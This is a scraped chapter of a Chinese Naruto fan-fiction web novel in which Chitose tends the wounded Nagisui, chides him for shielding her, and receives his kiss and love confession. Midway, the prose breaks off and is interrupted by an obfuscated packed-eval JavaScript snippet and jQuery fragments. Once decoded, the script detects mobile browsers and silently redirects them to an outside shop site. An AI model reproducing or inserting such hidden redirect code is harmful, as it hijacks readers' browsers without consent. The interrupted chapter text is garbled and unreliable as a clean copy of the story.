文趣网 > 其他小说 > 宿命 无法改变的宇智波-战国篇 > 45.我喜欢你,特别特别喜欢你
    宇智波族地

    鬼塚一族突袭之乱落幕之后,宇智波族地进入了漫长而严谨的战后整顿。

    族地结界尽数重修加固,后方隐居重地的值守人手层层加派,戒备森严。

    那场险些倾覆后方的突袭变故,成了整个宇智波一族不敢轻忽的隐患,整整大半个月的族会,几乎都围绕着当日战况、疏漏复盘与善后整改展开。

    宇智波治里第一时间驰援后方防线,牵制大批鬼塚族人,护住了毫无战力的老弱妇孺,最大程度减免了后方屠戮。

    而宇智波直树和凪水镇守族地前沿,直面鬼塚修的攻势,扛住了最猛烈的正面冲击,为后方安置、支援抵达争取了宝贵时机。

    而那日战场之上,千岁催动万花筒写轮眼展露的金色须佐能乎,早已被前线所有参战族人亲眼见证,层层递进落入宇智波斑的耳中。

    独一无二的须佐瞳力,绝境护族的决绝姿态,让她彻底成为了本次突袭之乱的核心人物。

    议事厅之内,千岁端坐于前列席位,以往她都是坐在最后排,听着族中亲信回报战果,今天的位置反而让她额外的拘谨。

    只要一抬头,就能对上宇智波斑那张冷脸。

    千岁根本不敢抬眼,她垂眸跪坐,逐一复盘数日来的战事经过、敌方战力、鬼塚一族的突袭细节,还有那一日,和千手兄弟联手打败鬼塚修的事情。

    偌大的厅堂人人肃静,唯独少了一道熟悉的身影。

    宇智波凪水。

    自鬼塚之战结束,凪水便因身受致命重创,一直静养在族地后方居所,迟迟未能痊愈。所幸彩子与纯子二人安然无恙,日日守在榻前悉心照料,才算让重伤卧床的凪水得以安心养伤。

    持续许久的族会终于落下帷幕。

    今日本没有安排千岁值守或差事,她闲立在廊下,目光却留意到整装完毕、准备外出巡逻的治里。见对方迈步动身,千岁连忙快步上前,脸上一副欲言又止的模样。

    治里停下脚步,望着她略显踌躇的神态,眉眼弯起温和的笑意,轻声问道:

    “怎么了?是有事情想同我说?”

    按照族中定例,治里此番是例行巡查族地周边,巡逻范围恰好覆盖后方聚居地。

    千岁犹豫了一下,坦诚开口:“治里小姐,这次巡逻,能不能带上我一起?”

    治里视线扫过她肩头的布包,隔着布料也能隐约辨出里面摆放着简易的医疗器具,当下便猜透了她的心思:“走吧,眼下也正好缺人手。”

    宇智波族规森严,族人严禁私自踏出领地,除了族内宇智波斑的心腹以外,其余人但凡出入都必须登记报备、层层上报。以斑的行事风格,断然不会任由她随意走动,借着巡逻的名义出行,便是眼下最稳妥的办法。

    两人一同行至后方族地入口,治里侧头看向千岁:“两小时后在此处汇合,可别到处乱跑。”

    千岁瞬间领会了她的意思,恭敬地躬身行礼,随后转身,脚步轻快地朝着那处熟悉的宅邸飞奔而去。

    宇智波凪水宅邸

    自从鬼塚修一战重伤卧床,凪水已然数日无法起身离榻。

    昔日热闹温馨的庭院,此刻也染上几分沉静的沉郁。纯子褪去了往日无忧无虑的稚气,乖乖蹲在后院,细心替每一株药草分拣归类。后厨之中,彩子正忙碌备置晚餐。

    千岁静静立在院间,一眼便被纯子望见。

    “千岁姐姐!”

    纯子眼睛一亮,立刻快步奔来。

    见纯子安然无恙,千岁悬了许久的心终于彻底落地。闻声而出的彩子亦是满脸欣喜,多日未见,惦念深切,她立刻上前牢牢握住千岁的手,眉眼温柔:

    “凪水若是知道你来看他,一定会特别开心。”

    一想到那日凪水是为护她才落得满身重伤,千岁心底翻涌着难以言喻的愧疚与不安,低声询问:“凪水……现在怎么样了?”

    彩子牵着她穿过层层檐廊,一路抵达僻静的寝居外,轻轻叩响纸门,柔声唤道:

    “凪水,千岁来看你了。”

    屋内静默许久,才缓缓传出一道温和虚弱的男声:“进来吧。”

    推门入内,居室一览无余。

    凪水静静卧在被褥之间,听见脚步声,便强撑着虚弱的身躯想要坐起身来。彩子极懂分寸,温柔带上纸门,轻声嘱咐二人好好说话,便转身离去,将独处的空间尽数留给他们。

    屋中瞬间寂静下来,只剩千岁与卧床休养的凪水二人。

    凪水上半身缠满层层厚厚的纱布,那日后背被毒液侵蚀,创口面积骇人。此刻未曾穿衣,想来是重伤行动不便、换药不便的缘故。

    看着少年几日之间迅速消瘦的侧脸、苍白虚弱的气色,千岁心头骤然一紧,快步上前跪坐至他身前。

    “凪水,你还好吗?”

    凪水早已听闻她被鬼塚修掳走、生死未卜的消息,此刻亲眼见她安然无恙,心头大石落地。纵使后背伤痛刺骨,他依旧强忍不适,扬起一抹温柔的笑意:

    “没想到千岁会专程来看我。”

    望着他刻意强撑的温柔模样,千岁心底越发酸涩沉重。她不再多言,将随身带来的简易医疗器具一一铺开在榻榻米上:

    “别逞强了……我帮你重新处理伤口。”

    凪水顺从地缓缓挪动身子,坐起身,将整片后背完完整整地朝向她。

    千岁逐层拆解早已陈旧发硬的纱布。那日仓促处理的伤口极其粗糙,护理不周,如今多处肌肤已然红肿溃烂,隐隐透着感染发炎的迹象。

    她取来清水与酒精,轻柔细致地清理掉创口污血与腐肉,随后双掌合十,缓缓凝聚出澄澈温润的绿色医疗查克拉,稳稳覆在他溃烂的伤口之上。

    少年后背肌理清瘦紧实,线条利落,不似宇智波斑那般宽厚磅礴,却布满常年浴血厮杀留下的薄茧与旧痕。

    前面传来凪水轻缓柔和的嗓音,带着一丝浅浅打趣:

    “还特意带器具过来为我治疗,千岁倒是有心了。”

    他语气松弛,仿佛重伤在身的从来不是自己。

    千岁闻言,语气却异常沉重:“凪水……”

    察觉到她情绪不对,凪水微微侧过身回望她。

    “我以前就和你说过,不要再为了护我,而让你自己受伤了。”

    千岁眼底是压抑的不安。

    那日舍身相护,不过是刻在本能里的选择。凪水看着她,坦然轻声道:

    “我只是……不想让千岁受伤而已。”

    话音未落,便被千岁骤然打断,少女的语气前所未有的郑重执拗:

    “我从来都不想以你的性命为代价,换我的平安。”

    凪水微怔,从未见过她这般严肃执拗的模样,似是动了真怒。

    他心头微乱,低声辩解:

    “你看我这次不是没事嘛……”

    “够了。”

    千岁语气骤然生硬,彻底截断了他的话语。

    “我说过,我不会死的。”

    凪水全然无法理解,自己危急时刻本能护她,为何会让她如此介怀、如此生气。

    他能感受到此刻覆在他后背疗伤的双手,微微控制不住地发颤。

    “……如果那一日你真的死了,彩子和纯子要怎么办?”

    凪水一愣,他一时竟不知道要如何回答。

    千岁压着心底翻涌的酸涩,“彩子日日守在家为你担惊受怕。这样不爱惜自己……痛苦的只有身边的人。”

    凪水彻底沉默了。

    他从来都只是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574906|203075||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    单纯地想护她、想替她挡下所有危险,想为她做些什么,却从未深思过家人的忧心牵挂,更未曾细细厘清,这份不顾一切的守护,早已是他心底不敢宣之于口的心意。

    良久,屋内沉寂无声。

    千岁压下所有翻涌的情绪,最终吐出一句冰冷而又克制的言语:

    “以后,不要再掺和我的事情了。”

    这一句话,如同利刃骤然刺入心口。

    凪水瞳孔微微一缩,眼底有错愕,更有落寞,他嗓音低沉发哑:

    “为什么?”

    是宇智波斑的授意?

    是被人胁迫隔开?

    还是……这根本就是她自己的想法?

    千岁垂眸沉默。

    她不能说自己拥有回溯生死的秘密,不能告诉任何人,自己每一次遇险、每一次危机,都会牵连身边之人奔赴死亡。

    她只是不想、再也不想因为自己,让任何人落得这般遍体鳞伤、九死一生的下场。

    长久的静默后,千岁压下喉间哽咽,艰难吐出几字:

    “你这样……让我很困扰。”

    困扰。

    简简单单两个字,凪水听在心里,良久,他才缓缓开口:

    “千岁今日过来,是专程来和我一刀两断的吗?”

    “凪水......我不是这个意思。”千岁垂眸否认。

    凪水心头翻涌着极致的酸涩与慌乱,不等她再多言,骤然抬手攥住她的手腕。两人重心彻底失衡,齐齐向后倒落在榻榻米上。

    下一瞬,凪水单手撑地,俯身将她牢牢圈在身下。

    天光被他的身影尽数遮挡,密闭狭小的空间里只剩彼此的呼吸,姿势亲昵又暧昧。

    千岁瞳孔骤缩,整个人彻底僵住:“凪水,你……”

    抬眸对上的,是他一双深蓝色眼眸。往日温润柔和的眼底,此刻盛满了极致的隐忍、痛楚与压抑已久的汹涌情愫,浓烈得让人心慌。

    “那日挡在你身前,只是本能。”凪水的嗓音低沉沙哑,带着极致的克制与深情,

    “我从来没想过求什么回报,从来没想过算计什么。”

    千岁怔怔凝望着他近在咫尺的眉眼,想起那日他满身浴血、后背贯穿重伤的模样,心头酸涩翻涌,下意识喃喃自语:

    “为什么……”

    为什么总要为我赌上性命。

    凪水俯首,深深凝望着她琥珀色澄澈通透的眼眸,凝望这张刻满他所有心动的脸庞。

    依旧是那样直率得笨拙的她,眼神依旧直白,毫无防备。

    不敢言说的喜欢,在此刻彻底崩裂、尽数倾覆,他再也压不住心底汹涌的情意。

    修长的指腹轻轻抬起,抚上她的侧脸。

    “凪水……唔……”

    千岁话音未落,柔软温热的唇骤然覆落,轻轻堵住了她所有未尽的话语。

    一瞬之间,大脑彻底空白。

    鼻尖萦绕着少年清浅干净的气息,浑身僵硬,连呼吸都忘了节奏。

    几秒恍惚过后,千岁猛然回神,脸颊滚烫,慌忙偏头挣扎,抬手抵住他的肩头:

    “等一下……别这样!”

    凪水没有再继续靠近。

    他缓缓俯身,将自己的额头轻轻抵上她的额头,气息相融,距离近得毫无缝隙。

    千岁心神慌乱,下意识闭眼,以为凪水的吻又即将落下。可再次睁眼时,撞入眼底的,只有他那双盛满缱绻深情的深蓝眼眸。

    那里藏着隐忍、心动、一直以来不敢宣之于口的满心欢喜,滚烫、毫无保留。

    “千岁。”

    他望着她,一字一句,郑重无比,倾尽所有真心告白:

    “我喜欢你。”

    “特别特别喜欢你。”